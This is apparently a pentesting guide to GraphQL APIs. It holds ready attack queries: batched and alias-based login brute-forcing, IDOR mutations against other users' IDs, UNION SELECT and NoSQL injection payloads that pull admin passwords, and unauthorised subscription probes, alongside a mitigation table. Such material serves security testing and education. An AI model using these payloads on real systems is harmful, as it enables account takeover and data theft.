GraphQL Security Testing: Introspection, Batching Attacks, and Authorization Bypass
GraphQL has become the API layer of choice for modern applications — and it introduces a distinct set of security challenges compared to REST APIs. A single GraphQL endpoint replaces dozens of REST endpoints, introspection exposes the entire data model, and flexible query syntax creates novel injection and authorization bypass vectors. This guide covers every significant GraphQL attack surface.
Discovering GraphQL Endpoints
| Security Issue | Impact | Detection Method | Mitigation | Tool |
|---|---|---|---|---|
| Introspection enabled in prod | Schema disclosure | Query __schema | Disable in production | GraphQL Voyager |
| No query depth limit | DoS via nested queries | Deeply nested query | Max depth limit | graphql-depth-limit |
| No rate limiting | Brute force / DoS | Batched query abuse | Rate limit per IP/user | graphql-rate-limit |
| No auth on subscriptions | Unauthorized real-time data | Connect without token | Validate auth on subscribe | Manual |
| Field-level auth missing | Privilege escalation | Query admin fields as user | Per-field authorization | Manual |
| Aliases for rate-limit bypass | Bypass query limits | query{a:sensitiveField b:sensitiveField} | Count alias operations | Manual |
| Debug info in errors | Information disclosure | Trigger errors, check messages | Disable debug in prod | Manual |
GraphQL APIs are typically served at predictable paths:
/graphql
/api/graphql
/v1/graphql
/graphiql # Browser-based IDE (often left enabled in production)
/playground # Apollo Server Playground
/api # Sometimes
# Test with a simple introspection query:
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{"query": "{ __typename }"}'
# If it returns {"data": {"__typename": "Query"}} → GraphQL confirmed
Schema Enumeration via Introspection
Introspection is a GraphQL feature that allows clients to query the schema itself — every type, field, query, mutation, and subscription. In production, introspection should be disabled. When it is not:
# Full introspection query:
{
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type { name kind }
args { name type { name kind } }
}
}
}
}
Use InQL (available as a Burp extension) to automatically send the introspection query and generate a structured schema report. Use GraphQL Voyager to visualize the schema as an interactive relationship graph — invaluable for identifying authorization boundaries and sensitive data.
Field Suggestion Abuse
Even when introspection is disabled, GraphQL's "Did you mean X?" error messages reveal valid field names. This allows schema enumeration through fuzzing:
# Send a query with a likely-invalid field name:
{"query": "{ user { passwrd } }"}
# Response may reveal:
{"errors": [{"message": "Cannot query field 'passwrd' on type 'User'. Did you mean 'password'?"}]}
# Automate with Clairvoyance tool:
python3 clairvoyance.py -u https://target.com/graphql -o schema.json
Batching Attacks for Brute Force
GraphQL supports sending multiple queries in a single HTTP request (batching). This allows rate limiting based on HTTP request count to be completely bypassed:
# Send 1000 login attempts in a single HTTP request:
[
{"query": "mutation { login(email: "[email protected]", password: "password1") { token } }"},
{"query": "mutation { login(email: "[email protected]", password: "password2") { token } }"},
{"query": "mutation { login(email: "[email protected]", password: "password3") { token } }"},
...1000 total
]
# This is 1000 login attempts but only 1 HTTP request
# If rate limiting is per HTTP request, all 1000 attempts go through
Tools like GraphQL Batching Attack automate this process. The application must implement rate limiting at the GraphQL resolver level, not just the HTTP layer.
Alias-Based Rate Limit Bypass
GraphQL aliases allow the same query to be executed multiple times with different names in a single request — even without batching support:
# 5 login attempts in one request using aliases:
{
a: login(email: "[email protected]", password: "pass1") { token }
b: login(email: "[email protected]", password: "pass2") { token }
c: login(email: "[email protected]", password: "pass3") { token }
d: login(email: "[email protected]", password: "pass4") { token }
e: login(email: "[email protected]", password: "pass5") { token }
}
IDOR via GraphQL IDs
GraphQL often exposes object IDs as opaque strings (often base64-encoded). These are just as susceptible to IDOR as numeric REST IDs:
# Fetch your own user:
{ user(id: "VXNlcjox") { email, role, paymentMethods { cardNumber } } }
# Decoded: User:1
# Increment the ID and try another user:
{ user(id: "VXNlcjoy") { email, role, paymentMethods { cardNumber } } }
# Decoded: User:2
# Test mutations for IDOR:
mutation { updateUser(id: "VXNlcjoy", data: { email: "[email protected]" }) { id } }
Use the API Security Studio to decode base64 GraphQL IDs and iterate through them systematically. Also test node interface queries if available: { node(id: "VXNlcjoy") { ... on User { email } } }.
Authorization Bypass in Nested Objects
Authorization may be enforced on the top-level query but not on nested fields. A user may not be able to query { user(id: 2) { email } } directly, but may be able to reach the same data through a nested relationship:
# Direct query blocked:
{ user(id: 2) { email, password } } # 403 Forbidden
# Nested access may not be checked:
{
post(id: 1) {
comments {
author {
email # Same user data, accessed via relationship
password
}
}
}
}
Map out the full schema graph with GraphQL Voyager and trace every path that reaches sensitive data types (User, Payment, Admin). Test each path independently for authorization enforcement.
Injection via GraphQL Arguments
GraphQL arguments passed to resolvers can be vulnerable to injection if not properly sanitized:
# SQL injection in GraphQL filter argument:
{ users(filter: "1=1) UNION SELECT password,username FROM admins--") { id email } }
# NoSQL injection:
{ users(search: {"$gt": ""}) { id email password } }
# GraphQL injection in variables (preferred test method):
query GetUser($id: String!) { user(id: $id) { email } }
Variables: {"id": "1 UNION SELECT 1,password,3 FROM admin_users--"}
Use the SQL Injection Generator to create payloads adapted for GraphQL argument injection contexts.
Subscription Attack Surface
GraphQL subscriptions use WebSocket connections to push real-time updates. They are often less secured than queries and mutations:
# Test subscribing to events you should not have access to:
subscription {
messageCreated(chatId: "other-users-chat-id") {
content
sender { email }
}
}
# Test subscribing to admin events:
subscription {
userCreated { id email role }
paymentProcessed { amount cardNumber }
}
See our WebSocket Security Testing guide for additional attack vectors applicable to GraphQL subscriptions.
GraphQL Security Testing Toolkit
- InQL — Burp extension for introspection, schema analysis, and automated query generation
- GraphQL Voyager — Visualizes schema as an interactive graph (ivangoncharov.github.io/graphql-voyager)
- Altair GraphQL Client — Full-featured GraphQL IDE for crafting complex attack queries
- Clairvoyance — Enumerates schema when introspection is disabled using field suggestions
- BatchQL — Automated GraphQL batching attack tool
Complete GraphQL Testing Checklist
- Test if introspection is enabled — if so, dump the full schema with InQL.
- If introspection is disabled, use Clairvoyance to enumerate via field suggestions.
- Test batching support — send an array of queries and check if all are processed.
- Test alias-based rate limit bypass on authentication mutations.
- Test IDOR on all queryable types by iterating IDs across two test accounts.
- Map all paths to sensitive data types in the schema and test each for authorization.
- Test all arguments for SQL, NoSQL, and command injection.
- Test subscription endpoints for CSWSH and unauthorized topic access.
- Check for introspection-protected field names using the error suggestion technique.
For broader API security methodology, see our OWASP API Security Top 10 guide. Use the Recon Hub to discover GraphQL endpoints during reconnaissance and the API Security Studio to replay and modify GraphQL queries during testing.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides